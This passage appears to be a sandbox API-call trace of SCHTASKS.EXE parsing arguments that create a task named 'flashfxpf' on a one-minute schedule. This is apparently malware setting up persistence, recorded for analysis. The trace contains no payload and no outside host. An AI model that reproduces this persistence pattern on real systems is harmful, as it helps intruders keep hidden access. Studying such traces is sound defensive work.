() returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa0) returned 0x23bff0 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cb40 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cb70 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cba0 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23ba90 [0164.506] _memicmp (_Buf1=0x23ba90, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.506] GetProcessHeap () returned 0x220000 [0164.506] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x200) returned 0x23d280 [0164.506] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x23d280, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0164.507] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0164.507] GetProcessHeap () returned 0x220000 [0164.507] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x30) returned 0x237a50 [0164.507] _vsnwprintf (in: _Buffer=0x23bff0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1bf788 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0164.507] GetProcessHeap () returned 0x220000 [0164.507] GetProcessHeap () returned 0x220000 [0164.507] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1a0) returned 1 [0164.507] GetProcessHeap () returned 0x220000 [0164.507] RtlSizeHeap (HeapHandle=0x220000, Flags=0x0, MemoryPointer=0x23c1a0) returned 0x74e [0164.508] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1a0 | out: hHeap=0x220000) returned 1 [0164.508] SetLastError (dwErrCode=0x0) [0164.508] GetThreadLocale () returned 0x409 [0164.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.508] lstrlenW (lpString="?") returned 1 [0164.508] GetThreadLocale () returned 0x409 [0164.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.508] lstrlenW (lpString="create") returned 6 [0164.508] GetThreadLocale () returned 0x409 [0164.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.508] lstrlenW (lpString="delete") returned 6 [0164.508] GetThreadLocale () returned 0x409 [0164.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.508] lstrlenW (lpString="query") returned 5 [0164.508] GetThreadLocale () returned 0x409 [0164.508] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.508] lstrlenW (lpString="change") returned 6 [0164.509] GetThreadLocale () returned 0x409 [0164.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.509] lstrlenW (lpString="run") returned 3 [0164.509] GetThreadLocale () returned 0x409 [0164.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.509] lstrlenW (lpString="end") returned 3 [0164.509] GetThreadLocale () returned 0x409 [0164.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.509] lstrlenW (lpString="showsid") returned 7 [0164.509] GetThreadLocale () returned 0x409 [0164.509] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0164.509] SetLastError (dwErrCode=0x0) [0164.509] SetLastError (dwErrCode=0x0) [0164.509] lstrlenW (lpString="/create") returned 7 [0164.509] lstrlenW (lpString="-/") returned 2 [0164.509] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.509] lstrlenW (lpString="?") returned 1 [0164.509] lstrlenW (lpString="?") returned 1 [0164.509] GetProcessHeap () returned 0x220000 [0164.509] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c1a0 [0164.509] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.509] GetProcessHeap () returned 0x220000 [0164.509] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xa) returned 0x23c1c0 [0164.509] lstrlenW (lpString="create") returned 6 [0164.509] GetProcessHeap () returned 0x220000 [0164.509] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x18) returned 0x23c1e0 [0164.509] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.509] GetProcessHeap () returned 0x220000 [0164.510] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x23c200 [0164.510] _vsnwprintf (in: _Buffer=0x23c1c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.510] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.510] lstrlenW (lpString="|?|") returned 3 [0164.510] lstrlenW (lpString="|create|") returned 8 [0164.510] SetLastError (dwErrCode=0x490) [0164.510] lstrlenW (lpString="create") returned 6 [0164.510] lstrlenW (lpString="create") returned 6 [0164.510] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.510] GetProcessHeap () returned 0x220000 [0164.510] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c1c0) returned 1 [0164.510] GetProcessHeap () returned 0x220000 [0164.510] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c1c0, Size=0x14) returned 0x23c220 [0164.510] lstrlenW (lpString="create") returned 6 [0164.510] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.510] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.510] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.510] lstrlenW (lpString="|create|") returned 8 [0164.510] lstrlenW (lpString="|create|") returned 8 [0164.510] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0164.510] SetLastError (dwErrCode=0x0) [0164.510] SetLastError (dwErrCode=0x0) [0164.510] SetLastError (dwErrCode=0x0) [0164.510] lstrlenW (lpString="/tn") returned 3 [0164.511] lstrlenW (lpString="-/") returned 2 [0164.511] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.511] lstrlenW (lpString="?") returned 1 [0164.511] lstrlenW (lpString="?") returned 1 [0164.511] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.511] lstrlenW (lpString="tn") returned 2 [0164.511] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.511] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.511] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.511] lstrlenW (lpString="|?|") returned 3 [0164.511] lstrlenW (lpString="|tn|") returned 4 [0164.511] SetLastError (dwErrCode=0x490) [0164.511] lstrlenW (lpString="create") returned 6 [0164.511] lstrlenW (lpString="create") returned 6 [0164.511] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.511] lstrlenW (lpString="tn") returned 2 [0164.511] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.511] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.511] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.511] lstrlenW (lpString="|create|") returned 8 [0164.511] lstrlenW (lpString="|tn|") returned 4 [0164.511] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0164.511] SetLastError (dwErrCode=0x490) [0164.511] lstrlenW (lpString="delete") returned 6 [0164.511] lstrlenW (lpString="delete") returned 6 [0164.511] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.512] lstrlenW (lpString="tn") returned 2 [0164.512] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.512] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|delete|") returned 8 [0164.512] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.512] lstrlenW (lpString="|delete|") returned 8 [0164.512] lstrlenW (lpString="|tn|") returned 4 [0164.512] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0164.512] SetLastError (dwErrCode=0x490) [0164.512] lstrlenW (lpString="query") returned 5 [0164.512] lstrlenW (lpString="query") returned 5 [0164.512] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.512] lstrlenW (lpString="tn") returned 2 [0164.512] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.512] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|query|") returned 7 [0164.512] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.512] lstrlenW (lpString="|query|") returned 7 [0164.513] lstrlenW (lpString="|tn|") returned 4 [0164.513] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0164.513] SetLastError (dwErrCode=0x490) [0164.513] lstrlenW (lpString="change") returned 6 [0164.513] lstrlenW (lpString="change") returned 6 [0164.513] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.513] lstrlenW (lpString="tn") returned 2 [0164.513] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.513] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|change|") returned 8 [0164.513] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.513] lstrlenW (lpString="|change|") returned 8 [0164.513] lstrlenW (lpString="|tn|") returned 4 [0164.513] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0164.513] SetLastError (dwErrCode=0x490) [0164.513] lstrlenW (lpString="run") returned 3 [0164.513] lstrlenW (lpString="run") returned 3 [0164.513] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.513] lstrlenW (lpString="tn") returned 2 [0164.513] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.513] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|run|") returned 5 [0164.513] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.513] lstrlenW (lpString="|run|") returned 5 [0164.513] lstrlenW (lpString="|tn|") returned 4 [0164.513] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0164.513] SetLastError (dwErrCode=0x490) [0164.514] lstrlenW (lpString="end") returned 3 [0164.514] lstrlenW (lpString="end") returned 3 [0164.514] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.514] lstrlenW (lpString="tn") returned 2 [0164.514] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.514] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|end|") returned 5 [0164.514] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.514] lstrlenW (lpString="|end|") returned 5 [0164.514] lstrlenW (lpString="|tn|") returned 4 [0164.514] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0164.514] SetLastError (dwErrCode=0x490) [0164.514] lstrlenW (lpString="showsid") returned 7 [0164.514] lstrlenW (lpString="showsid") returned 7 [0164.514] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.514] GetProcessHeap () returned 0x220000 [0164.514] HeapValidate (hHeap=0x220000, dwFlags=0x0, lpMem=0x23c220) returned 1 [0164.514] GetProcessHeap () returned 0x220000 [0164.514] RtlReAllocateHeap (Heap=0x220000, Flags=0xc, Ptr=0x23c220, Size=0x16) returned 0x23c220 [0164.514] lstrlenW (lpString="tn") returned 2 [0164.514] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.514] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|showsid|") returned 9 [0164.514] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|tn|") returned 4 [0164.514] lstrlenW (lpString="|showsid|") returned 9 [0164.514] lstrlenW (lpString="|tn|") returned 4 [0164.515] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0164.515] SetLastError (dwErrCode=0x490) [0164.515] SetLastError (dwErrCode=0x490) [0164.515] SetLastError (dwErrCode=0x0) [0164.515] lstrlenW (lpString="/tn") returned 3 [0164.515] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0164.515] SetLastError (dwErrCode=0x490) [0164.515] SetLastError (dwErrCode=0x0) [0164.515] lstrlenW (lpString="/tn") returned 3 [0164.515] GetProcessHeap () returned 0x220000 [0164.515] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23c1c0 [0164.515] GetProcessHeap () returned 0x220000 [0164.515] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cbd0 [0164.515] SetLastError (dwErrCode=0x0) [0164.515] SetLastError (dwErrCode=0x0) [0164.515] lstrlenW (lpString="flashfxpf") returned 9 [0164.515] lstrlenW (lpString="-/") returned 2 [0164.515] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0164.515] SetLastError (dwErrCode=0x490) [0164.515] SetLastError (dwErrCode=0x490) [0164.515] SetLastError (dwErrCode=0x0) [0164.515] lstrlenW (lpString="flashfxpf") returned 9 [0164.515] StrChrIW (lpStart="flashfxpf", wMatch=0x3a) returned 0x0 [0164.515] SetLastError (dwErrCode=0x490) [0164.515] SetLastError (dwErrCode=0x0) [0164.515] lstrlenW (lpString="flashfxpf") returned 9 [0164.515] GetProcessHeap () returned 0x220000 [0164.515] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x14) returned 0x23d4c0 [0164.515] GetProcessHeap () returned 0x220000 [0164.515] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc00 [0164.515] SetLastError (dwErrCode=0x0) [0164.516] SetLastError (dwErrCode=0x0) [0164.516] lstrlenW (lpString="/sc") returned 3 [0164.516] lstrlenW (lpString="-/") returned 2 [0164.516] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.516] lstrlenW (lpString="?") returned 1 [0164.516] lstrlenW (lpString="?") returned 1 [0164.516] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.516] lstrlenW (lpString="sc") returned 2 [0164.516] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.516] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.516] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.516] lstrlenW (lpString="|?|") returned 3 [0164.516] lstrlenW (lpString="|sc|") returned 4 [0164.516] SetLastError (dwErrCode=0x490) [0164.516] lstrlenW (lpString="create") returned 6 [0164.516] lstrlenW (lpString="create") returned 6 [0164.516] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.516] lstrlenW (lpString="sc") returned 2 [0164.516] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.516] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.516] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.516] lstrlenW (lpString="|create|") returned 8 [0164.516] lstrlenW (lpString="|sc|") returned 4 [0164.516] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0164.516] SetLastError (dwErrCode=0x490) [0164.517] lstrlenW (lpString="delete") returned 6 [0164.517] lstrlenW (lpString="delete") returned 6 [0164.517] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.517] lstrlenW (lpString="sc") returned 2 [0164.517] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.517] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|delete|") returned 8 [0164.517] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.517] lstrlenW (lpString="|delete|") returned 8 [0164.517] lstrlenW (lpString="|sc|") returned 4 [0164.517] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0164.517] SetLastError (dwErrCode=0x490) [0164.517] lstrlenW (lpString="query") returned 5 [0164.517] lstrlenW (lpString="query") returned 5 [0164.517] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.517] lstrlenW (lpString="sc") returned 2 [0164.517] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.517] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|query|") returned 7 [0164.517] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.517] lstrlenW (lpString="|query|") returned 7 [0164.517] lstrlenW (lpString="|sc|") returned 4 [0164.517] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0164.517] SetLastError (dwErrCode=0x490) [0164.517] lstrlenW (lpString="change") returned 6 [0164.517] lstrlenW (lpString="change") returned 6 [0164.517] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.518] lstrlenW (lpString="sc") returned 2 [0164.518] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.518] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|change|") returned 8 [0164.518] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.518] lstrlenW (lpString="|change|") returned 8 [0164.518] lstrlenW (lpString="|sc|") returned 4 [0164.518] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0164.518] SetLastError (dwErrCode=0x490) [0164.518] lstrlenW (lpString="run") returned 3 [0164.518] lstrlenW (lpString="run") returned 3 [0164.518] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.518] lstrlenW (lpString="sc") returned 2 [0164.518] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.518] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|run|") returned 5 [0164.518] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.518] lstrlenW (lpString="|run|") returned 5 [0164.518] lstrlenW (lpString="|sc|") returned 4 [0164.518] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0164.518] SetLastError (dwErrCode=0x490) [0164.518] lstrlenW (lpString="end") returned 3 [0164.518] lstrlenW (lpString="end") returned 3 [0164.518] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.518] lstrlenW (lpString="sc") returned 2 [0164.518] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.518] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|end|") returned 5 [0164.519] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.519] lstrlenW (lpString="|end|") returned 5 [0164.519] lstrlenW (lpString="|sc|") returned 4 [0164.519] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0164.519] SetLastError (dwErrCode=0x490) [0164.519] lstrlenW (lpString="showsid") returned 7 [0164.519] lstrlenW (lpString="showsid") returned 7 [0164.519] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.519] lstrlenW (lpString="sc") returned 2 [0164.519] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.519] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|showsid|") returned 9 [0164.519] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|sc|") returned 4 [0164.519] lstrlenW (lpString="|showsid|") returned 9 [0164.519] lstrlenW (lpString="|sc|") returned 4 [0164.519] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0164.519] SetLastError (dwErrCode=0x490) [0164.519] SetLastError (dwErrCode=0x490) [0164.519] SetLastError (dwErrCode=0x0) [0164.519] lstrlenW (lpString="/sc") returned 3 [0164.519] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0164.519] SetLastError (dwErrCode=0x490) [0164.519] SetLastError (dwErrCode=0x0) [0164.519] lstrlenW (lpString="/sc") returned 3 [0164.519] GetProcessHeap () returned 0x220000 [0164.519] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x8) returned 0x23dc90 [0164.519] GetProcessHeap () returned 0x220000 [0164.519] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc30 [0164.520] SetLastError (dwErrCode=0x0) [0164.520] SetLastError (dwErrCode=0x0) [0164.520] lstrlenW (lpString="MINUTE") returned 6 [0164.520] lstrlenW (lpString="-/") returned 2 [0164.520] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0164.520] SetLastError (dwErrCode=0x490) [0164.520] SetLastError (dwErrCode=0x490) [0164.520] SetLastError (dwErrCode=0x0) [0164.520] lstrlenW (lpString="MINUTE") returned 6 [0164.520] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0164.520] SetLastError (dwErrCode=0x490) [0164.520] SetLastError (dwErrCode=0x0) [0164.520] lstrlenW (lpString="MINUTE") returned 6 [0164.520] GetProcessHeap () returned 0x220000 [0164.520] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0xe) returned 0x23d4e0 [0164.520] GetProcessHeap () returned 0x220000 [0164.520] RtlAllocateHeap (HeapHandle=0x220000, Flags=0xc, Size=0x20) returned 0x23cc60 [0164.520] SetLastError (dwErrCode=0x0) [0164.520] SetLastError (dwErrCode=0x0) [0164.520] lstrlenW (lpString="/mo") returned 3 [0164.520] lstrlenW (lpString="-/") returned 2 [0164.520] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0164.520] lstrlenW (lpString="?") returned 1 [0164.520] lstrlenW (lpString="?") returned 1 [0164.520] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.520] lstrlenW (lpString="mo") returned 2 [0164.520] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.520] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|?|") returned 3 [0164.521] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.521] lstrlenW (lpString="|?|") returned 3 [0164.521] lstrlenW (lpString="|mo|") returned 4 [0164.521] SetLastError (dwErrCode=0x490) [0164.521] lstrlenW (lpString="create") returned 6 [0164.521] lstrlenW (lpString="create") returned 6 [0164.521] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.521] lstrlenW (lpString="mo") returned 2 [0164.521] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.521] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|create|") returned 8 [0164.521] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.521] lstrlenW (lpString="|create|") returned 8 [0164.521] lstrlenW (lpString="|mo|") returned 4 [0164.521] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0164.521] SetLastError (dwErrCode=0x490) [0164.521] lstrlenW (lpString="delete") returned 6 [0164.521] lstrlenW (lpString="delete") returned 6 [0164.521] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.521] lstrlenW (lpString="mo") returned 2 [0164.521] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.521] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|delete|") returned 8 [0164.521] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.521] lstrlenW (lpString="|delete|") returned 8 [0164.521] lstrlenW (lpString="|mo|") returned 4 [0164.521] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0164.521] SetLastError (dwErrCode=0x490) [0164.522] lstrlenW (lpString="query") returned 5 [0164.522] lstrlenW (lpString="query") returned 5 [0164.522] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.522] lstrlenW (lpString="mo") returned 2 [0164.522] _memicmp (_Buf1=0x23c1e0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0164.522] _vsnwprintf (in: _Buffer=0x23c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|query|") returned 7 [0164.522] _vsnwprintf (in: _Buffer=0x23c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bf798 | out: _Buffer="|mo|") returned 4 [0164.522] lstrlenW (lpString="|query|") returned 7 [0164.522] lstrlenW (lpString="|mo|") returned 4 [0164.522] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0164.522] SetLastError (dwErrCode=0x490) [0164.522] lstrlenW (lpString="change") returned 6 [0164.522] lstrlenW (lpString="change") returned 6 [0164.522] _memicmp (_Buf1=0x23c1a0, _Buf2=0xff451b08, _Size=0x7) returned 